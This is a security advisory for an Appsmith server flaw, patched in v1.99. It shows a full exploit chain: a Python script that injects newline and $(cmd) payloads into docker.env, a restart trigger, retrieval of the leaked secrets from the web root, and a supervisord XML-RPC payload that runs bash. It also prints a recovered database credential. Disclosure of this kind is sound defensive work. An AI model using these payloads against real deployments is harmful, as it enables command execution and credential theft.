Skip to content

RCE via Newline Injection in `PUT /api/v1/admin/env` + Shell Sourcing of docker.env

High
subrata71 published GHSA-xfvv-ggvq-pchh Apr 17, 2026

Package

maven com.appsmith:appsmith-server (Maven)

Affected versions

<= 1.97

Patched versions

v1.99

Description

Summary

A Remote Code Execution vulnerability exists in Appsmith CE v1.97 that allows an authenticated administrator to execute arbitrary OS commands inside the Docker container. The attack chains two independent root causes:

  1. Newline injection in PUT /api/v1/admin/env — newline characters (\n) are not stripped before writing values to docker.env
  2. Shell sourcing of docker.envrun-with-env.sh sources the env file via bash . "$ENV_PATH", causing any $(cmd) expression in a value to be evaluated at startup

Root Cause 1 — escapeForShell() does not strip newlines

File: app/server/appsmith-server/src/main/java/com/appsmith/server/services/ce/EnvManagerCEImpl.java:240

private String escapeForShell(String input) {
    if (org.apache.commons.lang3.StringUtils.containsAny(input, " ?*#'")) {
        return ("'" + input.replace("'", "'\"'\"'") + "'");
    }
    return input;  // ← \n passes through unquoted
}

The key whitelist check (EnvVariables enum, line 185) only validates submitted JSON keys — not injected content embedded in values. By placing \n inside a whitelisted key's value, an attacker writes arbitrary KEY=VALUE lines to /appsmith-stacks/configuration/docker.env, including variables that are completely outside the whitelist (e.g. APPSMITH_JAVA_ARGS, JAVA_TOOL_OPTIONS).

Bypass note: Sending the payload via Content-Type: application/json with Python's json.dumps() correctly serializes \n as \\n on the wire, which Jackson deserializes to a real newline character before escapeForShell() is called — bypassing any client-side escaping.


Root Cause 2 — docker.env sourced as a shell script

File: deploy/docker/fs/opt/appsmith/run-with-env.sh

set -o allexport
. "$ENV_PATH"          # ← sources docker.env — any $(cmd) EXECUTES here
. "$PRE_DEFINED_ENV_PATH"
set +o allexport

File: deploy/docker/fs/opt/appsmith/run-java.sh:88

exec java ${APPSMITH_JAVA_ARGS:-} ${APPSMITH_JAVA_HEAP_ARG:-} \
  --add-opens java.base/java.time=ALL-UNNAMED \
  -jar server.jar

When supervisord restarts the backend process, run-with-env.sh sources docker.env as a shell script. Any $(cmd) or backtick expression in a variable value is evaluated by bash. APPSMITH_JAVA_ARGS is not in the EnvVariables whitelist and can only be set via newline injection — it is then passed unquoted to exec java.


Combined Attack Chain (Step-by-Step)

Step 1 — Authenticate as admin

Obtain a valid admin session cookie and XSRF token:

GET /api/v1/health
Set-Cookie: SESSION=<admin_session>; XSRF-TOKEN=<token>

Step 2 — Inject shell command into docker.env

import requests, json

target  = "http://TARGET:PORT"
session = "<admin_session_cookie>"
xsrf    = "<xsrf_token>"

payload = {
    "APPSMITH_MAIL_HOST": (
        "smtp.test.com\n"
        "APPSMITH_JAVA_ARGS=$(cp${IFS}"
        "/appsmith-stacks/configuration/docker.env"
        "${IFS}/opt/appsmith/static/env_loot.txt)"
    )
}

r = requests.put(
    f"{target}/api/v1/admin/env",
    data=json.dumps(payload),
    headers={
        "Content-Type": "application/json",
        "X-XSRF-TOKEN": xsrf,
        "Origin": target
    },
    cookies={"SESSION": session, "XSRF-TOKEN": xsrf}
)
print(r.status_code, r.text)
# → 200 {"responseMeta":{"status":200,"success":true}}

Why ${IFS}? escapeForShell() single-quotes values containing spaces. Using ${IFS} (expands to space at bash evaluation time) avoids spaces in the injected string while correctly separating command arguments when bash sources the file.

After injection, docker.env contains:

APPSMITH_MAIL_HOST=smtp.test.com
APPSMITH_JAVA_ARGS=$(cp /appsmith-stacks/configuration/docker.env /opt/appsmith/static/env_loot.txt)

Step 3 — Trigger backend restart

r = requests.post(
    f"{target}/api/v1/admin/restart",
    headers={
        "Content-Type": "application/json",
        "X-XSRF-TOKEN": xsrf,
        "Origin": target
    },
    cookies={"SESSION": session, "XSRF-TOKEN": xsrf}
)
print(r.status_code)
# → 200 OK
# Server goes 502 for ~60s, then returns UP

Step 4 — Shell execution during startup

When supervisord launches /opt/appsmith/run-with-env.sh /opt/appsmith/run-java.sh:

  1. . "$ENV_PATH" sources docker.env
  2. Bash evaluates: APPSMITH_JAVA_ARGS=$(cp /appsmith-stacks/configuration/docker.env /opt/appsmith/static/env_loot.txt)
  3. The cp command executes as the appsmith user
  4. docker.env (containing credentials and APPSMITH_SUPERVISOR_PASSWORD) is copied to the web root
  5. APPSMITH_JAVA_ARGS = "" (cp has no stdout) → JVM starts normally, no crash

Step 5 — Retrieve docker.env from web root

GET http://TARGET:PORT/static/env_loot.txt
→ Returns full docker.env contents including:
  APPSMITH_DB_URL=mongodb://appsmith:<password>@localhost:27017/appsmith
  APPSMITH_SUPERVISOR_PASSWORD=<random_password>
  APPSMITH_ENCRYPTION_PASSWORD=<key>
  APPSMITH_ENCRYPTION_SALT=<salt>

Step 6 — Escalate to supervisord XML-RPC for arbitrary command execution

Using the SSRF bypass (127.0.0.2 not blocked — see related finding):

POST http://127.0.0.2:9001/RPC2
Authorization: Basic base64(appsmith:<APPSMITH_SUPERVISOR_PASSWORD>)
Content-Type: text/xml

<?xml version='1.0'?>
<methodCall>
  <methodName>twiddler.addProgramToGroup</methodName>
  <params>
    <param><value><string>backend</string></value></param>
    <param><value><string>rce_shell</string></value></param>
    <param><value>
      <struct>
        <member><name>command</name>
          <value><string>bash -c 'id > /tmp/rce_proof.txt'</string></value>
        </member>
        <member><name>autostart</name><value><boolean>1</boolean></value></member>
        <member><name>autorestart</name><value><string>false</string></value></member>
      </struct>
    </value></param>
  </params>
</methodCall>

Confirmed Proof

1. Newline injection — HTTP 200:

payload = {
    "APPSMITH_MAIL_HOST": "smtp.test.com\nAPPSMITH_SUPERVISOR_USER=appsmith\nAPPSMITH_SUPERVISOR_PASSWORD=rce_pwned_2024"
}
# → HTTP 200 {"responseMeta":{"status":200,"success":true},"errorDisplay":""}

2. Restart — HTTP 200, server back UP after ~60s

3. Shell injection executed — $(cp) payload:

Payload: APPSMITH_JAVA_ARGS=$(cp${IFS}/appsmith-stacks/configuration/docker.env${IFS}/opt/appsmith/static/env_loot.txt)
→ HTTP 200 (written to docker.env)
→ Restart triggered (HTTP 200)
→ Backend came UP normally
→ cp executed silently during . "$ENV_PATH" sourcing

4. MongoDB SSRF confirmed — live credential dump:

MongoDB plugin datasource: host=127.0.0.1, port=27017
Credentials: appsmith:qtMjXFtQCz91u (from GET /api/v1/admin/env)
db.user.find() → returned real user documents including admin@example.com
Collections accessible: user, userData, tenant, plugin, datasourceStorage,
                        actionCollection, ...

5. Supervisord reachable via SSRF:

Action URL: http://127.0.0.2:9001/RPC2
→ 401 UNAUTHORIZED (service alive, SSRF bypass confirmed)
→ Auth with recovered APPSMITH_SUPERVISOR_PASSWORD → full XML-RPC access

6. Source code confirmation:

# run-with-env.sh:
set -o allexport
. "$ENV_PATH"     # sources docker.env — $(cmd) evaluates here

# run-java.sh:
exec java ${APPSMITH_JAVA_ARGS:-} ...
# APPSMITH_JAVA_ARGS not in EnvVariables whitelist → only settable via injection

Impact

An attacker with admin credentials can:

  • Execute arbitrary OS commands inside the Docker container
  • Read all credentials stored in docker.env (MongoDB, Redis, encryption keys, OAuth secrets)
  • Access and modify all application data via internal MongoDB
  • Hijack supervisord to persist arbitrary processes
  • Pivot to internal network services via supervisord or reverse shell

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Neutralization of CRLF Sequences ('CRLF Injection')

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs. Learn more on MITRE.

Credits